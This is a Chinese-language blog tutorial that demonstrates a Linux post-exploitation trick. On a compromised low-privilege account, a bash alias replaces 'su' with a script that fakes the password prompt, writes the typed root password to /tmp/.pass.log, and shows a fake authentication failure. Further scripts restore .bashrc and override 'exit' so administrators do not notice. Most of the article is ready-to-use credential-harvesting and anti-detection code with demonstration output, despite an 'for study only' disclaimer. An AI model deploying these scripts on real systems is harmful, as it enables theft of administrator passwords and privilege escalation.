前言
近几个月事儿较多,文章又拖更三个月了。近期在刷一些文,有一处讲到了 Linux
低权限用户利用别名命令来抓取切账户时的密码,之前也有过了解与操作,其原理并不难,遂此次利用假期再次进行了实操并总结此文。话不多说,下面直接开始!
实现思路
我们通过某些 RCE
漏洞获取到一个正常的低权限 Linux Shell
,并使用该 Shell
浏览了用户的操作历史命令后,发现历史命令里有多次执行 su - root
命令以切换超级用户操作,但是在一通翻找后却未发现密码。
于是借助 Linux
的别名机制,替换用户的 su
命令为我的“恶意脚本”负责伪造一次认证,并在记录密码后进行回显密码错误,再对其进行痕迹清理,这样就能不知不觉中获取用户在切换如超级用户时的密码。下面进行步骤演示。
具体步骤
1、 为了伪造一次认证,我们先观察一下普通用户在执行 su - root
命令后输错密码的一次正常的回显,如下:
[yang@localhost ~]$ su - root
Password:
su: Authentication failure
[yang@localhost ~]$
那么我们在用户家目录下创建一个“恶意 Shell 脚本”,其 Shell 脚本内容可以这么写:
#!/bin/bash
echo -e "Password: \c"
read -s pass
echo ${pass} >> /tmp/.pass.log
echo ""
echo "su: Authentication failure"
对比一下命令的执行效果,可以发现其提示几乎没什么区别:
2、 接下来备份一下该用户的 .bashrc
文件,并修改该文件,添加一条 alias
别名:
# 备份 .bashrc 文件
[yang@localhost ~]$ cp -p ~/.bashrc /tmp/.bashrc
# 编辑 .bashrc 文件并添加一条 alias 别名
[yang@localhost ~]$ vim ~/.bashrc
……
alias su="~/run_pass.sh"
测试一下,成功捕获密码:
[yang@localhost ~]$ vim ~/.bashrc
[yang@localhost ~]$ . ~/.bashrc
[yang@localhost ~]$ su - root
Password:
su: Authentication failure
[yang@localhost ~]$
[yang@localhost ~]$ cat /tmp/.pass.log
test_pass
[yang@localhost ~]$
3、 但是这样子修改也随之而来一个问题,即认证始终无法成功,无法成功认证则会影响到管理员的正常操作,进而引起警觉,所以我们需要修改一下脚本,再抓取到一次密码后,恢复为正常的 su
所切换的用户,于是脚本进一步修改为如下:
#!/bin/bash
echo -e "Password: \c"
read -s pass
echo ${pass} >> /tmp/.pass.log
echo ""
echo "su: Authentication failure"
# 还原原始的 .bashrc 文件并启动新终端,此时su命令被还原
cp -p /tmp/.bashrc ~/.bashrc
rm -f /tmp/.bashrc
bash
下面再进行测试一下:
可见此时 su
命令已被还原,密码也成功记录下来:
[yang@localhost ~]$ vim run_pass.sh
[yang@localhost ~]$ su - root
Password:
su: Authentication failure
[yang@localhost ~]$ su - root
Password:
Last login: Tue Oct 1 20:48:03 CST 2024 from 192.168.1.99 on pts/1
Last failed login: Tue Oct 1 20:49:37 CST 2024 on pts/1
There was 1 failed login attempt since the last successful login.
[root@localhost ~]# cat /tmp/.pass.log
test_passwd
[root@localhost ~]#
4、 但是,此时又引来一个问题,如果用户习惯直接点关闭窗口的'X'倒还好说,若习惯输入 exit
命令退出终端,则需要退两次才能退出,如下:
Last login: Tue Oct 1 20:49:47 CST 2024 on pts/1
# 下面第一个 exit 命令退出 root 用户 Shell 环境(正常)
[root@localhost ~]# exit
logout
# 下面第二个 exit 命令退出上述第一个执行命令时生成的 Shell 环境(非正常,易引起警觉)
[yang@localhost ~]$ exit
exit
# 下面第三个 exit 命令退出当前用户 Shell 环境(正常)
[yang@localhost ~]$exit
logout
5、 于是,对此的解决方法可以进行备份两个 ~/.bashrc
文件,并使用 alias
别名再重写一个 exit
命令,用于找到“恶意脚本”的 bash
并将其进程杀掉,实现一次 exit
命令即可退出终端,演示如下:
备份两个 .bashrc
文件:
[yang@localhost ~]$ cp -p ~/.bashrc /tmp/.bashrc
[yang@localhost ~]$ cp -p ~/.bashrc /tmp/.bashrc_tmp
修改 /tmp/.bashrc_tmp
文件内容,添加一条 alias
别名如下:
[yang@localhost ~]$ vim /tmp/.bashrc_tmp
[yang@localhost ~]$ cat /tmp/.bashrc_tmp
……
alias exit="~/run_pass2.sh"
[yang@localhost ~]$
再对 run_pass.sh
脚本进行修改,如下:
[yang@localhost ~]$ vim ~/run_pass.sh
[yang@localhost ~]$ cat ~/run_pass.sh
#!/bin/bash
echo -e "Password: \c"
read -s pass
echo ${pass} >> /tmp/.pass.log
echo ""
echo "su: Authentication failure"
# 还原原始的 .bashrc 文件并启动新终端,此时su命令被还原
cp -p /tmp/.bashrc_tmp ~/.bashrc
rm -f /tmp/.bashrc_tmp
bash
[yang@localhost ~]$
再对 run_pass2.sh
脚本进行修改,如下:
#!/bin/bash
# 找到 su 仍是恶意脚本的 bash 并杀掉进程,实现一次 exit 命令即退出
ps_result=$(ps -ef | grep -v grep | grep "run_pass.sh")
pid=$(echo ${ps_result} | awk '{print $2}')
cp -p /tmp/.bashrc ~/.bashrc
rm -f /tmp/.bashrc
kill -9 ${pid}
当然,操作到此处不要忘了当前用户家目录下的 .bashrc
文件添加一条 alias
的 su
别名(已添加忽略):
[yang@localhost ~]$ vim ~/.bashrc
……
alias su="~/run_pass.sh"
至此,管理员只需要输入一次 exit 命令即可退出终端,但是管理员直接'X'掉了终端,那么原始 .bashrc
文件就没有恢复,则会影响接下来的所有终端,所以分析管理员的习惯格外重要。
总结
此方式以 alias
别名命令实操利用低权限用户获取 Linux 系统内高权限或其他用户密码,上述两种方式不论用哪一种可能都会引起管理员的“警觉”,毕竟或许一个低权限的系统用户存在多人管理员使用,且各有不同的终端使用方式,此时该方法则存在一定的局限性。
此方法也仅供参考学习使用,具体使用还需根据具体情况分析。